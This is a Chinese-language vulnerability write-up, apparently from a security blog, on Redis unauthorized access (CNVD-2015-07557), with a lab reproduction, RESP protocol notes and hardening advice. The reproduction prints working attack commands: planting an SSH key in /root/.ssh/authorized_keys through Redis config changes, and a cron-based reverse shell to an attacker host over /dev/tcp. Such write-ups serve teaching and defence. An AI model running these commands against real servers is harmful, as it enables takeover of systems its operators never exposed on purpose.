Redis未授权访问漏洞

Catalogue
  1. 1. 漏洞信息
    1. 1.1. 漏洞简介
    2. 1.2. 组件概述
    3. 1.3. 漏洞概述
    4. 1.4. 漏洞利用条件
  2. 2. 漏洞复现
    1. 2.1. 应用协议
    2. 2.2. 漏洞复现
      1. 2.2.1. Redis未授权访问获取敏感信息
      2. 2.2.2. 写入ssh公钥,获取操作系统权限
      3. 2.2.3. 利用计划任务执行命令反弹shell
    3. 2.3. 技术背景
    4. 2.4. 漏洞利用过程
  3. 3. 漏洞修复
  4. 4. 参考资料

漏洞信息

漏洞简介

  • 漏洞名称:Redis未授权访问漏洞
  • 漏洞编号:CNVD-2015-07557
  • 漏洞类型:未授权访问
  • CVSS评分:【CVSS v2.0:】【CVSS v3.0:】
  • 漏洞危害等级:高危

组件概述

​ Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

​ 它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

漏洞概述

​ Redis存在非授权访问漏洞,Redis服务默认对外开放6379端口,任意匿名用户可以连接登录。

​ Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

漏洞利用条件

1、Redis配置了空密码或者弱密码

2、Redis配置文件中bind绑定0.0.0.0 127.0.0.1或者被注释

3、Redis解除保护模式,可以在配置文件将protected-mode,设置为no

1
protected-mode no

或者,启动redis-server后,在redis-cli中输入命令,临时关闭保护模式

1
CONFIG SET protected-mode no

漏洞复现

应用协议

6379/RESP

漏洞复现

Redis未授权访问获取敏感信息

  redis在开放往外网的情况下,默认配置下是空口令,端口为6379,连接后可以获取Redis敏感数据。

​ kali攻击机输入以下命令,获取靶机的敏感信息:

1
2
redis-cli -h 10.251.0.36
info

写入ssh公钥,获取操作系统权限

​ 原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,可以在服务器端的/root/.ssh下生一个授权的key。

  • 首先在攻击机上生成key:
1
ssh-keygen -t rsa

​ 生成的公钥key

  • 将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的缓冲里:
1
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

1
cat /root/.ssh/key.txt | ./redis-cli -h 192.168.10.153 -x set xxx

  • 连接目标主机的Redis,设置redis的公钥key备份路径为/root/.ssh和保存文件名authorized_keys,将key.txt数据保存在服务器上:
1
2
3
config set dir /root/.ssh
config set dbfilename authorized_keys
save

  • 用攻击机ssh远程连接靶机,不用密码就可以直接远程登录ssh:
1
2
ssh 10.251.0.35
ifconfig

  • 可以在靶机,进入/root/.ssh目录,看一下authorized_keys的文件内容
1
cat /root/.ssh/authorized_keys

利用计划任务执行命令反弹shell

先在攻击机上监听一个端口

1
nc -nvlp 666

1
2
3
4
5
6
7
8
9
root@kali:~# redis-cli -h 10.251.0.36
10.251.0.35:6379> set exp "\n* * * * * bash -i >& /dev/tcp/10.251.0.33/666 0>&1\n"
OK
10.251.0.35:6379> config set dir /var/spool/cron/
OK
10.251.0.35:6379> config set dbfilename root
OK
10.251.0.35:6379> save
OK

靶机的/var/spool/cron路径下,有root文件

多次尝试后,等一段时间,反弹shell成功:

技术背景

​ Redis是轻量级的,非易失性键值数据存储。 它通过Redis序列化协议(RESP)提供对简单易变数据结构的访问,该协议是基于TCP的协议。 与大多数其他数据库一样,Redis遵循客户端—服务器模型。 客户端能够通过Redis命令在Redis服务器上创建,修改和检索记录。

​ 例如,以下命令创建“ TEST”字符串记录并将其分配给“ 1234”键值,将此记录修改为“ TEST2”并分别检索记录:

1
2
3
SET 1234 TEST
GETSET 1234 TEST2
GET 1234

​ 有关Redis命令的完整列表,请参考 http://redis.io/commands

​ Redis客户端通过端口6379通过TCP使用Redis序列化协议(RESP)与服务器进行通信。可通过 http://redis.io/topics/protocol获得该协议详细说明。 RESP使用五种数据类型,这些数据类型由相应数据的第一个字节标识:

  • 简单字符串以“ +”字符开头

  • 错误以“-”字符开头

  • 整数以“:”字符开头

  • 批量字符串以“ $”字符开头

  • 数组以“ *”字符开头

    ​ 批量字符串以“ $”字符开头,后跟相应字符串的长度。 以下重点介绍如何将“ Sangfor”表示为大容量字符串:

1
2
$7 CRLF
TELUS

​ 其中CRLF表示新的行序列回车(CR),后跟换行(LF)。

​ RESP数组以“ *”字符开头,后跟数组中的元素数。 下面说明了一个由2个元素组成的大容量字符串数组:

1
2
3
4
5
*2 CRLF
$7 CRLF
Sangfor CRLF
$4 CRLF
TEST CRLF

​ 所有Redis命令都通过RESP字符串数组发送到服务器。 例如,上述SET命令将以下形式发送:

1
2
3
4
5
6
7
*3 CRLF
$3 CRLF
SET CRLF
$4 CRLF
1234 CRLF
$4 CRLF
TEST CRLF

漏洞利用过程

​ Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

漏洞修复

1.禁止一些高危命令(重启redis才能生效)

  • 修改 redis.conf 文件,禁用远程修改 DB 文件地址
1
2
3
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
  • 或者通过修改redis.conf文件,改变这些高危命令的名称
1
2
3
rename-command FLUSHALL "name1"
rename-command CONFIG "name2"
rename-command EVAL "name3"

2. 以低权限运行 Redis 服务(重启redis才能生效)

为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

1
groupadd -r redis && useradd -r -g redis redis

3. 为 Redis 添加密码验证(重启redis才能生效)

修改 redis.conf 文件,添加

1
requirepass mypassword

(注意redis不要用-a参数,明文输入密码,连接后使用auth认证)

4. 禁止外网访问 Redis(重启redis才能生效)

修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用

1
bind 127.0.0.1

在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错

5. 修改默认端口

修改配置文件redis.conf文件

1
Port 6379

默认端口是6379,可以改变成其他端口(不要冲突就好)

6. 保证 authorized_keys 文件的安全

为了保证安全,您应该阻止其他用户添加新的公钥。

  • 将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
1
chmod 400 ~/.ssh/authorized_keys
  • 为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
1
chattr +i ~/.ssh/authorized_keys
  • 然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 权限:
1
chattr +i ~/.ssh

7. 设置防火墙策略  

如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。

参考资料